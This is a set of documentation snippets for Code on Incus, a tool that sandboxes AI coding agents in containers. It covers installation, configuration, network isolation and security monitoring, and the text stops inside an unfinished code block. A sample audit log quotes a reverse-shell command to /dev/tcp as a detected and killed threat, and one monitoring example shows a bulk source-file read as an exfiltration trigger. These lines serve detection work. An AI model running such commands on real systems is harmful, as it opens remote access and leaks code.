### Install COI, Build Image, and Start Shell

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

These are the universal steps for installing COI, building the Incus image, and entering the Incus shell. The install script automates several Incus configurations.

```bash
curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash
```

```bash
coi build
```

```bash
coi shell
```

--------------------------------

### Install Incus on Ubuntu/Debian

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Installs the Incus service, enables it to start on boot, and adds the current user to the incus-admin group. Remember to log out and back in for group changes to take effect.

```bash
sudo apt install -y incus
sudo systemctl enable --now incus.service
sudo usermod -aG incus-admin $USER
```

--------------------------------

### Long-Running Project Workflow

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions

Start a persistent session to install tools and build. Detach and reconnect later. Shutdown and save when done, then resume with all tools intact.

```bash
coi shell --persistent       # Start persistent session
# ... install tools, build things ...
# Press Ctrl+b d to detach
coi attach                   # Reconnect to same container with all tools
sudo poweroff                # When done, shutdown and save
coi shell --persistent --resume  # Resume with all installed tools intact
```

--------------------------------

### Verify NFTables Setup

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Commands to verify the installation and configuration of the nftables monitoring system, including health checks and tests for journal and nftables access.

```bash
# Run health check
coi health

# Test journal access
journalctl -k -n 10

# Test nftables access
sudo -n nft list ruleset
```

--------------------------------

### Example Container Build Script

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

A bash script to update packages and install Rust toolchain for a development environment.

```bash
#!/bin/bash
# .coi/profiles/rust-dev/build.sh
apt-get update && apt-get install -y rustup
rustup default stable
```

--------------------------------

### Install and Enable Nftables

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Install the nftables package and enable the nftables service to resolve the 'nftables not available' error.

```bash
sudo apt install nftables
sudo systemctl enable --now nftables
```

--------------------------------

### Create Custom Image by Installing Tools in Container

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

This workflow involves starting a persistent shell, installing necessary tools inside the container, and then publishing the modified container as a new image.

```bash
# Start a session and install tools
coi shell --persistent
```

```bash
# Inside container: install your tools
sudo apt update
sudo apt install -y rust-all python3.11 golang
cargo install ripgrep
exit
```

```bash
# Publish the container as an image
coi image publish coi-workspace-1 coi-dev-full
```

```bash
# Use the custom image
coi shell --image coi-dev-full
```

--------------------------------

### Install COI Script

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Installs the COI binary and shell completions. Run this script from the COI repository.

```bash
curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash
```

--------------------------------

### Install NFTables Dependencies

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Automates the installation of system dependencies required for nftables network monitoring. Alternatively, manual installation steps for Debian/Ubuntu systems are provided.

```bash
# Automated setup (recommended)
./scripts/install-nft-deps.sh

# Manual setup
sudo apt-get install -y libsystemd-dev nftables
sudo usermod -a -G systemd-journal $USER

# Configure passwordless sudo for nft commands
echo '%incus-admin ALL=(ALL) NOPASSWD: /usr/sbin/nft' | sudo tee /etc/sudoers.d/coi-nft
sudo chmod 0440 /etc/sudoers.d/coi-nft
```

--------------------------------

### Install nftables Dependencies

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Installs necessary packages and configures user permissions for nftables monitoring.

```bash
# Install dependencies
sudo apt install nftables libsystemd-dev

# Add user to systemd-journal group
sudo usermod -aG systemd-journal $USER

# Allow passwordless nft commands
echo "$USER ALL=(ALL) NOPASSWD: /usr/sbin/nft" | sudo tee /etc/sudoers.d/coi-nft

# Verify setup
coi health --verbose
```

--------------------------------

### Install Runtimes with Mise

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

Use `mise use` to install language runtimes globally or per-project. Global installations are prefixed with `--global`.

```bash
mise use --global go@latest      # Install Go
mise use --global ruby@3         # Install Ruby
mise use node@22                 # Install Node.js 22 (per-project)
```

--------------------------------

### Profile Configuration Reference Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

A comprehensive example of a profile's `config.toml` file, demonstrating how to configure various aspects of a container, including context, environment variables, container settings, build scripts, mounts, network, and resource limits.

```toml
# .coi/profiles/rust-dev/config.toml

context = "CONTEXT.md"                    # context file (see below)
forward_env = ["CARGO_REGISTRY_TOKEN"]

[container]
image = "coi-rust"
persistent = true

[container.build]
base = "coi-default"
script = "build.sh"           # resolved relative to this config.toml

[environment]
RUST_BACKTRACE = "1"

[tool]
name = "claude"
permission_mode = "bypass"

[tool.claude]
effort_level = "high"

[[mounts]]
host = "~/.cargo"
container = "/home/code/.cargo"

[network]
mode = "restricted"
# allowed_domains = ["crates.io", "github.com"]

[limits.cpu]
count = "4"

[limits.memory]
limit = "4GiB"

[limits.runtime]
max_duration = "4h"
```

--------------------------------

### Start, Stop, and Delete Containers

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Commands to manage the lifecycle of containers: start, stop (with optional force), and delete (with optional force).

```bash
# Start container
coi container start my-container

# Stop container
coi container stop my-container

# Force stop
coi container stop my-container --force

# Delete container
coi container delete my-container

# Force delete
coi container delete my-container --force
```

--------------------------------

### Start Colima VM with Resources

Source: https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide

Start a Colima VM with specified CPU, memory, and disk resources. This command uses the default Ubuntu template, which is recommended for COI.

```bash
# Start Colima with the Ubuntu template (default) and sufficient resources
colima start --cpu 4 --memory 8 --disk 50

```

--------------------------------

### Install COI Script

Source: https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide

Download and execute the COI installation script from the official GitHub repository. This command installs the Code on Incus tool.

```bash
# Install COI
curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash

```

--------------------------------

### Enable and Start Incus Service on Arch Linux

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Enables the Incus service to start on boot and starts it immediately.

```bash
sudo systemctl enable --now incus.service
```

--------------------------------

### Default Configuration Settings

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Example configuration file showing default settings for image, persistence, storage pool, and container alias.

```toml
Config file: ~/.coi/config.toml

[container]
image = "coi-default"
persistent = true
# storage_pool = ""            # Empty = Incus default pool
# alias = "myproject"          # Human-friendly name for this workspace's containers

[tool]
name = "claude"
permission_mode = "bypass"

```

--------------------------------

### Install nftables Dependencies with Script

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Executes a provided script to set up nftables dependencies.

```bash
./scripts/install-nft-deps.sh
```

--------------------------------

### Install Incus on openSUSE

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Installs Incus using zypper and enables the service. Requires user to log out/in for group changes.

```bash
sudo zypper install incus
```

```bash
sudo systemctl enable --now incus.service
```

```bash
sudo usermod -aG incus-admin $USER
```

--------------------------------

### Install nftables Package

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Command to install the nftables package on Debian/Ubuntu systems.

```bash
sudo apt-get install -y nftables
```

--------------------------------

### Install libsystemd-dev Package

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Command to install the libsystemd-dev package, required for building COI with systemd support.

```bash
sudo apt-get install -y libsystemd-dev
# Rebuild COI: go build ./...
```

--------------------------------

### Install Incus on Fedora/RHEL

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Installs Incus from the Zabbly repository and enables the service. Requires user to log out/in for group changes.

```bash
sudo dnf install incus
```

```bash
sudo systemctl enable --now incus.service
```

```bash
sudo usermod -aG incus-admin $USER
```

--------------------------------

### Verify COI Installation

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Checks if the 'coi' binary was installed correctly.

```bash
coi --version
```

--------------------------------

### Install Code on Incus

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Installs the Code on Incus script using curl. This is the first step to setting up the project.

```bash
# Install
curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash
```

--------------------------------

### Example Project Configuration File

Source: https://github.com/mensfeld/code-on-incus/wiki/Configuration

This TOML file demonstrates how to configure settings specific to a repository, such as container image, persistence, forwarded environment variables, and resource limits. It overrides user and system defaults for the specified fields.

```toml
# my-project/.coi/config.toml - project-specific overrides

[container]
image = "coi-rust"
persistent = true
# alias = "my-rust-project"
# storage_pool = ""

[defaults]
forward_env = ["CARGO_REGISTRY_TOKEN"]

[defaults.environment]
RUST_BACKTRACE = "1"

[tool]
name = "claude"
permission_mode = "bypass"

[tool.claude]
effort_level = "high"

[limits.cpu]
count = "4"

[limits.memory]
limit = "4GiB"

[limits.runtime]
max_duration = "4h"

```

--------------------------------

### Build COI Container Image

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Downloads and configures the base Ubuntu image with AI tools and monitoring components. This is a one-time setup step.

```bash
coi build
```

--------------------------------

### COI Configuration File Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation

Example TOML configuration for COI's network settings. This includes setting the network mode, defining allowed domains/IPs for allowlist mode, and configuring the refresh interval.

```toml
# ~/.coi/config.toml
[network]
mode = "restricted"  # restricted | open | allowlist

# Allowlist mode configuration
# Supports both domain names and raw IPv4 addresses
allowed_domains = [
    "8.8.8.8",             # Google DNS (REQUIRED for DNS resolution)
    "1.1.1.1",             # Cloudflare DNS (REQUIRED for DNS resolution)
    "registry.npmjs.org",  # npm package registry
    "api.anthropic.com",   # Claude API
    "platform.claude.com", # Claude Platform
]
refresh_interval_minutes = 30  # Maximum IP refresh interval; actual interval uses DNS TTL if shorter (0 to disable)
```

--------------------------------

### Profile Inheritance Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Demonstrates how to use profile inheritance by creating a new profile that inherits settings from a parent profile and overrides specific configurations like the container image and environment variables.

```toml
# .coi/profiles/rust-dev-nightly/config.toml
inherits = "rust-dev"

[container]
image = "coi-rust-nightly"

[environment]
RUST_CHANNEL = "nightly"
```

--------------------------------

### Automated Installation Script

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Installs COI with a single command. It downloads the binary, checks for Incus, and verifies group membership.

```bash
# One-shot install
curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash

# This will:
# - Download and install coi to /usr/local/bin
# - Check for Incus installation
# - Verify you're in incus-admin group
# - Show next steps
```

--------------------------------

### Profile-Specific Limits Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits

Define resource limits within a specific profile for targeted container configurations. This example sets CPU, memory, and runtime limits for a 'limited' profile.

```toml
# .coi/profiles/limited/config.toml
[container]
image = "coi-default"
persistent = false

[limits.cpu]
count = "2"
allowance = "50%"

[limits.memory]
limit = "2GiB"

[limits.runtime]
max_duration = "2h"
auto_stop = true
```

--------------------------------

### Start Coding Session with OpenCode AI Tool

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Starts a coding session specifically using the OpenCode AI tool. This allows you to choose your preferred AI assistant.

```bash
# Or use opencode instead
coi shell --tool opencode
```

--------------------------------

### Main COI config mount syntax

Source: https://github.com/mensfeld/code-on-incus/wiki/Migration-Guide

Example of the correct mount syntax for the main COI configuration file (.coi/config.toml).

```toml
# .coi/config.toml
[[mounts.default]]
host = "~/.claude/skills"
container = "/home/code/.claude/skills"
readonly = true
```

--------------------------------

### Kernel Log Entry Example

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

An example of a kernel log entry generated by nftables for network monitoring.

```text
Feb 9 12:34:56 kernel: NFT_COI[10.47.62.50]: IN=incusbr0 OUT=eth0 SRC=10.47.62.50 DST=8.8.8.8 PROTO=TCP SPT=54321 DPT=53 SYN
```

--------------------------------

### Example AI Agent Context File

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Provides AI agent instructions for a Python ML project, including testing and coding standards.

```markdown
<!-- .coi/profiles/python-ml/CONTEXT.md -->
## Python ML Project Guidelines

- Use pytest for all testing
- Follow PEP 8 style conventions
- Use type hints for all function signatures
- Prefer numpy vectorized operations over loops
```

--------------------------------

### Quick Task Workflow

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions

Start a default session, perform tasks, and then shut down the container to save the session and delete the container. Resume the conversation in a new container.

```bash
coi shell                    # Start session with default AI tool
# ... work with AI assistant ...
sudo poweroff                # Shutdown container → session saved, container deleted
coi shell --resume           # Continue conversation in fresh container
```

--------------------------------

### Install Colima using Homebrew

Source: https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide

Install the Colima virtualization tool using the Homebrew package manager. This is a prerequisite for running Linux VMs on macOS for COI.

```bash
# Install Colima (example)
brew install colima

```

--------------------------------

### Start First COI Session

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Navigates to a project directory and starts an isolated AI coding session. COI mounts the project at /workspace and launches tmux with the AI tool.

```bash
cd ~/your-project
coi shell
```

--------------------------------

### Resource Limits Configuration Example

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

This TOML snippet configures CPU, memory, and runtime limits for containers in the user's configuration file.

```toml
# ~/.coi/config.toml
[limits.cpu]
count = "2"

[limits.memory]
limit = "2GiB"

[limits.runtime]
max_duration = "2h"
```

--------------------------------

### Profile Directory Structure Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Illustrates the typical directory structure for COI profiles, showing the location of `config.toml` and supporting files like build scripts and context files within a profile directory.

```text
.coi/
├── config.toml              # project config
└── profiles/
    ├── rust-dev/
    │   ├── config.toml      # profile config
    │   ├── build.sh         # profile-specific build script
    │   └── CONTEXT.md       # AI agent context (appended to sandbox context)
    └── python-ml/
        ├── config.toml
        └── setup.sh
```

--------------------------------

### Inject Configuration Files

Source: https://github.com/mensfeld/code-on-incus/wiki/File-Transfer

Push configuration files from the host to a container's configuration directory before starting a session.

```bash
# Push config files before starting session
coi file push ./custom-config.toml my-container:/home/code/.config/tool/config.toml
```

--------------------------------

### Start Coding Session with Default AI Tool

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Starts a coding session using the default AI tool (Claude Code). Your project directory is mounted, and file permissions are handled automatically.

```bash
# Start coding with your preferred AI tool (defaults to Claude Code)
cd your-project
coi shell
```

--------------------------------

### Install Incus on Arch Linux

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Installs the Incus package using pacman on Arch Linux and its derivatives.

```bash
sudo pacman -S incus
```

--------------------------------

### Example Profile Configuration

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

This TOML file defines a profile named 'rust-dev', specifying container image, environment variables, tool permissions, and CPU limits.

```toml
context = "CONTEXT.md"
forward_env = ["CARGO_HOME"]

[container]
image = "coi-rust"
persistent = true

[environment]
RUST_BACKTRACE = "1"

[tool]
name = "claude"
permission_mode = "bypass"

[limits.cpu]
count = "4"
```

--------------------------------

### Audit Log Entry Example

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

An example JSON Lines entry for audit logging of network events.

```json
{
  "id": "550e8400-e29b-41d4-a716-446655440000",
  "timestamp": "2026-02-09T12:34:56Z",
  "level": "critical",
  "category": "network",
  "title": "Metadata endpoint access",
  "description": "Attempted connection to cloud metadata endpoint",
  "evidence": {
    "timestamp": "2026-02-09T12:34:56Z",
    "container_ip": "10.47.62.50",
    "src_ip": "10.47.62.50",
    "dst_ip": "169.254.169.254",
    "dst_port": 80,
    "src_port": 54321,
    "protocol": "TCP",
    "flags": "SYN"
  },
  "action": "killed"
}
```

--------------------------------

### Example Health Check Output

Source: https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check

This is an example of the detailed output you can expect from the `coi health` command, showing the status of various system components.

```text
Code on Incus Health Check
==========================

SYSTEM:
  [OK]   Operating system  : Ubuntu 24.04.4 LTS (amd64)
  [OK]   Kernel version    : Kernel 6.17.0-19-generic (>= 5.15)

CRITICAL:
  [OK]   Incus             : Running (version 6.21)
  [OK]   Permissions       : User in incus-admin group
  [OK]   Default image     : coi-default (fingerprint: 3c946d37f573)
  [OK]   Image age         : 2 days old
  [OK]   Privileged check  : Default profile uses unprivileged containers
  [OK]   Security posture  : Full isolation - unprivileged containers with seccomp and AppArmor

NETWORKING:
  [OK]   Network bridge    : incusbr0 (10.128.178.1/24)
  [OK]   IP forwarding     : Enabled
  [OK]   Firewalld         : Running with masquerade enabled (restricted mode available)
  [OK]   Bridge FW zone    : Bridge incusbr0 is in trusted zone
  [OK]   Docker FORWARD    : Docker running, FORWARD policy is not DROP

MONITORING:
  [OK]   nftables          : Available and configured
  [OK]   systemd journal   : Access granted
  [OK]   libsystemd        : Installed

STORAGE:
  [OK]   COI directory     : ~/.coi (writable)
  [OK]   Sessions dir      : ~/.coi/sessions-claude (writable)
  [OK]   Disk space        : 455.0 GB available
  [OK]   Incus storage pools: Pool 'default': 26.1 GiB free of 50.0 GiB (48% used)

CONFIGURATION:
  [OK]   Config loaded     : ~/.coi/config.toml
  [OK]   Network mode      : restricted
  [OK]   Tool              : claude

STATUS:
  [OK]   Containers        : 1 running
  [OK]   Saved sessions    : 12 session(s)
  [OK]   Orphaned resources: No orphaned resources

OTHER:
  [OK]   Monitoring config : Enabled with auto_pause=true
  [OK]   Audit Log Dir     : ~/.coi/audit (writable)
  [OK]   Cgroup Availability: Cgroup v2 is available with controllers
  [OK]   Container Connectivity: DNS and HTTP working (status 200)
  [OK]   Network Restriction: Restricted mode working (external OK, private networks blocked)

STATUS: HEALTHY
All 27 checks passed
```

--------------------------------

### Profile COI config mount syntax

Source: https://github.com/mensfeld/code-on-incus/wiki/Migration-Guide

Example of the correct mount syntax for a COI profile configuration file (.coi/profiles/NAME/config.toml).

```toml
# .coi/profiles/rust-dev/config.toml
[[mounts]]
host = "~/.cargo"
container = "/home/code/.cargo"
```

--------------------------------

### Basic System Health Check

Source: https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check

Run a basic health check to diagnose setup issues. This command verifies your environment is correctly configured.

```bash
# Basic health check
coi health
```

--------------------------------

### Watch session logs live

Source: https://github.com/mensfeld/code-on-incus/wiki/Session-Logs

This demonstrates a common workflow: starting a session in one terminal and then monitoring its logs in real-time using `coi logs --follow` in another terminal.

```bash
# In one terminal: start a session
coi shell

# In another terminal: watch its logs live
coi logs --follow
```

--------------------------------

### Show COI Version

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Displays the installed version of the COI tool.

```bash
# Show COI version
coi version
```

--------------------------------

### Enable and Configure Firewalld on Arch Linux

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Installs firewalld, enables it, and configures masquerading and the Incus bridge for trusted zone treatment.

```bash
sudo pacman -S firewalld
```

```bash
sudo systemctl enable --now firewalld
```

```bash
sudo firewall-cmd --permanent --add-masquerade
```

```bash
sudo firewall-cmd --reload
```

```bash
sudo firewall-cmd --zone=trusted --add-interface=incusbr0 --permanent
```

```bash
sudo firewall-cmd --reload
```

--------------------------------

### Create Project-Specific Images

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

Generate images tailored for specific projects, pre-installing all necessary dependencies for faster project setup and deployment.

```bash
# Create image per project with dependencies pre-installed
coi image publish project-container myapp-v1.0
```

--------------------------------

### Build COI Image and Start Shell

Source: https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide

Build the necessary COI container image and then launch a COI shell session. This prepares the environment for running code within Incus containers.

```bash
# Build image and start a session
coi build
coi shell

```

--------------------------------

### Manual Incus Network and Storage Setup

Source: https://github.com/mensfeld/code-on-incus/wiki/Linux-Setup-Guide

Manually configures Incus network, storage pool, and profile devices. This is an alternative to automatic initialization.

```bash
incus network create incusbr0 ipv4.address=auto ipv4.nat=true ipv6.address=none
```

```bash
incus storage create default dir
```

```bash
incus profile device add default root disk path=/ pool=default
```

```bash
incus profile device add default eth0 nic name=eth0 network=incusbr0
```

--------------------------------

### Get Container Info

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Displays information about the current workspace's container(s) or a specific container.

```bash
# Show info about the current workspace's container(s)
coi info

# Show info about a specific container
coi info <container-name>
```

--------------------------------

### Use a Profile in Shell

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Command to start a shell session using a specified Incus profile.

```bash
coi shell --profile rust-dev
```

--------------------------------

### Install and Configure Firewalld for Network Isolation

Source: https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation

Steps to install, enable, and configure firewalld for container NAT and to manage COI's network isolation rules. This includes enabling masquerading and setting up passwordless sudo for firewalld commands.

```bash
# 1. Install firewalld (Ubuntu/Debian)
sudo apt install firewalld

# 2. Enable and start firewalld
sudo systemctl enable --now firewalld

# 3. Enable masquerading for container NAT
sudo firewall-cmd --permanent --add-masquerade
sudo firewall-cmd --reload

# 4. Verify firewalld is running
sudo firewall-cmd --state

# 5. Allow COI to manage firewall rules (passwordless sudo)
echo "$USER ALL=(ALL) NOPASSWD: /usr/bin/firewall-cmd" | sudo tee /etc/sudoers.d/coi-firewalld
sudo chmod 440 /etc/sudoers.d/coi-firewalld

```

--------------------------------

### Start Persistent COI Session

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Starts a COI session where the container survives session exit, allowing for package installations and artifact preservation.

```bash
coi shell --persistent    # container survives exit
```

--------------------------------

### Agent Liveness Warning and Recovery Messages

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Shows example output for agent liveness warnings and recovery notifications.

```text
[audit] WARNING agent silent on coi-abc123-1 for 36s (last heartbeat 2026-05-05T12:34:46Z)
[audit] agent recovered on coi-abc123-1 after 36s of silence
```

--------------------------------

### Mounting Specific Host Subdirectories

Source: https://github.com/mensfeld/code-on-incus/wiki/Configuration

Example of mounting a specific subdirectory from the host into the container with read-only permissions. This is crucial for security and avoiding configuration conflicts.

```toml
# Mount specific subdirectories - NOT the parent config dir
[[mounts.default]]
host = "~/.config/opencode/agents"
container = "/home/code/.config/opencode/agents"
readonly = true
```

--------------------------------

### Create a Snapshot for Rollback or Branching

Source: https://github.com/mensfeld/code-on-incus/wiki/Best-Practices

Create a snapshot before making significant changes or when you want to explore different approaches from the same starting point. Snapshots preserve the full container disk state.

```bash
coi snapshot create
```

--------------------------------

### Full COI Configuration Reference

Source: https://github.com/mensfeld/code-on-incus/wiki/Configuration

This TOML block shows all available configuration options for COI, including settings for containers, defaults, tools, paths, and limits. It serves as a comprehensive guide for setting up COI.

```toml
# Full Config Reference

[container]
image = "coi-default"
persistent = false
storage_pool = ""              # empty = Incus default pool
# alias = "myproject"          # Human-friendly name for this workspace's containers

[container.build]
# base = "coi-default"
# script = "build.sh"

[defaults]
model = "claude-sonnet-4-5"
# Forward host environment variables into the container by name
# Values are read from the host at session start - never stored in config
# forward_env = ["ANTHROPIC_API_KEY", "GITHUB_TOKEN"]
# Static environment variables set inside the container
# [defaults.environment]
# MY_VAR = "value"

[tool]
name = "claude"              # AI coding tool: "claude", "opencode"
permission_mode = "bypass"   # "bypass" (default) or "interactive"
# binary = "claude"          # Optional: override binary name
# Path to a custom context file injected as ~/SANDBOX_CONTEXT.md in every container.
# Supports ~ expansion. If empty, the built-in template is used.
# context_file = "~/my-sandbox-context.md"
# Auto-inject sandbox context into tool's native context system (default: true)
# Claude: writes to ~/.claude/CLAUDE.md; OpenCode: sets instructions field in opencode.json
# auto_context = true

# Claude-specific settings
[tool.claude]
effort_level = "medium"      # "low", "medium", or "high"

[paths]
sessions_dir = "~/.coi/sessions"
storage_dir = "~/.coi/storage"
logs_dir = "~/.coi/logs"

```

--------------------------------

### Example COI Event Output

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Demonstrates the JSON Lines format for various event types including exec, net, and heartbeat.

```jsonl
{"ts":"2026-05-05T14:30:11.123Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"exec","pid":1234,"ppid":1,"comm":"curl","args":"curl https://example.com"}
{"ts":"2026-05-05T14:30:12.005Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"net","proto":"tcp","state":"ESTAB","local":"10.47.62.5:54321","peer":"93.184.216.34:443","comm":"curl"}
{"ts":"2026-05-05T14:30:20.000Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"heartbeat","seq":1,"sources":"ss ps"}
```

--------------------------------

### Detect Read-Based Exfiltration

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

This example demonstrates detecting read-based exfiltration by attempting to read all source files. It triggers a HIGH threat if the total read exceeds a configured threshold.

```bash
# Agent tries to read all source files
find . -name "*.py" -exec cat {} \;
# → Triggers HIGH threat if total read exceeds threshold
```

--------------------------------

### Tail logs in real time

Source: https://github.com/mensfeld/code-on-incus/wiki/Session-Logs

Use the `--follow` or `-f` flag to continuously stream new log entries as they are generated. Press Ctrl+C to stop following. This command retries until the log file appears if the session is still starting.

```bash
coi logs coi-abc123-1 --follow
```

```bash
coi logs coi-abc123-1 -f
```

--------------------------------

### Profile Management Commands

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

These bash commands demonstrate how to use a profile, create a new one, and list existing profiles.

```bash
coi shell --profile rust-dev
```

```bash
coi profile create rust-dev --image coi-rust
```

```bash
coi profile list
```

--------------------------------

### Start an interactive shell in a container

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Allocates a pseudo-terminal (TTY) to start an interactive shell (e.g., bash) within the container. This is useful for interactive debugging or exploration.

```bash
coi container exec my-container -t -- bash
```

--------------------------------

### List All Containers

Source: https://github.com/mensfeld/code-on-incus/wiki/Container-Operations

Lists all containers and sessions. Use --format=json for machine-readable output.

```bash
# List all containers and sessions
coi list --all

# Machine-readable JSON output (for programmatic use)
coi list --format=json
coi list --all --format=json

# Output shows container mode:
#   coi-abc12345-1 (ephemeral)   - will be deleted on exit
#   coi-abc12345-2 (persistent)  - will be kept for reuse
```

--------------------------------

### Audit Log Example

Source: https://github.com/mensfeld/code-on-incus/wiki/Security-Monitoring

Example JSON Lines format for security events logged to audit files. Includes fields for timestamp, container, threat type, severity, and action.

```json
{"timestamp":"2026-02-18T10:23:45Z","container":"coi-abc123-1","type":"process","threat":"reverse_shell","command":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","severity":"critical","action":"killed"}
{"timestamp":"2026-02-18T10:24:01Z","container":"coi-abc123-1","type":"filesystem","threat":"large_write","bytes":104857600,"severity":"high","action":"paused"}
{"timestamp":"2026-02-18T10:25:30Z","container":"coi-abc123-1","type":"network","threat":"private_network","dest":"192.168.1.100:22","severity":"warning","action":"logged"}

```

--------------------------------

### Mounting Claude Skills, Commands, and Plugins

Source: https://github.com/mensfeld/code-on-incus/wiki/Configuration

Demonstrates mounting individual Claude configuration subdirectories like 'skills', 'commands', and 'plugins' as read-only into the container.

```toml
[[mounts.default]]
host = "~/.claude/skills"
container = "/home/code/.claude/skills"
readonly = true
```

```toml
[[mounts.default]]
host = "~/.claude/commands"
container = "/home/code/.claude/commands"
readonly = true
```

```toml
[[mounts.default]]
host = "~/.claude/plugins"
container = "/home/code/.claude/plugins"
readonly = true
```

--------------------------------

### Verify and Rebuild Custom Images

Source: https://github.com/mensfeld/code-on-incus/wiki/Image-Management

Check the configured image and list available custom images to ensure the correct one is applied. Rebuild if necessary.

```bash
# Verify which image is configured
coi health

# Verify the custom image exists
coi image list

# Re-build if needed
coi build --profile your-profile
```

--------------------------------

### Install Incus inside Colima VM

Source: https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide

Update package lists and install the Incus container platform within the Colima VM using apt. This is a core component for running containers with COI.

```bash
# Inside the VM, install Incus
sudo apt update && sudo apt install -y incus
sudo incus admin init --auto
sudo usermod -aG incus-admin $USER
newgrp incus-admin

```

--------------------------------

### Update COI Command Options

Source: https://github.com/mensfeld/code-on-incus/wiki/Self-Update

Use `coi update` to install the latest release. Use `--check` to verify updates without installing, and `--force` to bypass the confirmation prompt.

```bash
coi update          # update to the latest release
coi update --check  # check for updates without installing
coi update --force  # skip confirmation prompt
```

--------------------------------

### NFT Command Execution with Lima

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Go code snippet demonstrating how to execute nft commands within a Lima VM shell.

```go
// Automatic detection
if cfg.NFT.LimaHost != "" {
    cmd = exec.Command("limactl", "shell", cfg.NFT.LimaHost, "sudo", "nft", ...)
} else {
    cmd = exec.Command("sudo", "nft", ...)
}
```

--------------------------------

### Attach to Persistent COI Session

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Reconnects to a previously started persistent COI container.

```bash
coi attach                # reconnect to the same container later
```

--------------------------------

### Start Parallel COI Sessions

Source: https://github.com/mensfeld/code-on-incus/wiki/Getting-Started

Initiates multiple isolated sessions for the same project simultaneously, each with its own container.

```bash
# Terminal 1
coi shell    # slot 1 — working on feature A

# Terminal 2
coi shell    # slot 2 — working on feature B in parallel
```

--------------------------------

### Alternative Context File Naming

Source: https://github.com/mensfeld/code-on-incus/wiki/Profiles

Demonstrates different ways to specify the context file path, including relative and tilde-expanded paths.

```toml
context = "instructions.md"
context = "AI_GUIDELINES.md"
context = "../shared/common-context.md"    # relative paths work
context = "~/global-context.md"            # tilde expansion works
```

--------------------------------

### Start Interactive COI Shell with Specific AI Tool

Source: https://github.com/mensfeld/code-on-incus/blob/master/README.md

Opens an interactive shell using a specified AI tool, such as 'opencode'.

```bash
# Use a different AI tool
coi shell --tool opencode
```

--------------------------------

### Run NFT Monitoring Tests with Detailed Output

Source: https://github.com/mensfeld/code-on-incus/blob/master/docs/NFT-MONITORING.md

Execute all integration tests for the NFT monitoring module with very verbose output. Use the -vvs flags for detailed logging.

```bash
